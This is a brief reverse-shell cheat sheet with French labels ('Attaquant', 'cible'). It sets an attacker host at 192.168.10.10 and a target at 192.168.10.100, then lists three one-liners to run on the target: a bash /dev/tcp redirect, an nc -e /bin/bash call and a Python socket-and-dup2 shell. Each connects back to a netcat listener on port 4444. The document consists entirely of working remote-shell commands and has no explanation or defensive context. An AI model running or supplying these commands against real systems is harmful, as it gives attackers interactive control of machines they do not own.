- (A) Attaquant: 192.168.10.10
- (C) cible: 192.168.10.100
(C) # bash -i >& /dev/tcp/192.168.10.10/4444 0>&1
(A) # nc -nlvp 4444
(C) # nc -e /bin/bash 192.168.10.10 4444
(A) # nc -nlvp 4444
(C) # python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("192.168.10.10",4444)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'